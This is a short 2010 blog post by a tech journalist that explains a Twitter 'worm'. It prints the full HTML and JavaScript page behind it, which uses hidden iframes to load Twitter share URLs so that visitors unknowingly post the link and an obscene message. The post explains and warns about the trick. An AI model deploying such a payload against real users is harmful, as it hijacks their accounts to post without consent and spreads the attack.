About Me

My photo

Tech journalist since the dark ages. Windows Secrets, LangaList newsletter, Windows Magazine (NetGuide, Home PC), Byte, Popular Computing, yadda yadda yadda. Google me, if it matters.

This feed is mostly personal interest; it's NOT my professional writing. There's tech here, yes, but also lots of general science and some politics and weird humor thrown in.

Sunday, September 26, 2010

Behind the ‘i love .... with goats’ twitter worm

It’s quite simple. Click on the “WTF” link, and you load a page in your browser that does the following:

<html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html>

It’s not a worm or a virus. It’s a clever trick with JavaScript and an abuse of the trust people have with clicking on tinyurls.


Posted via email from Fred's posterous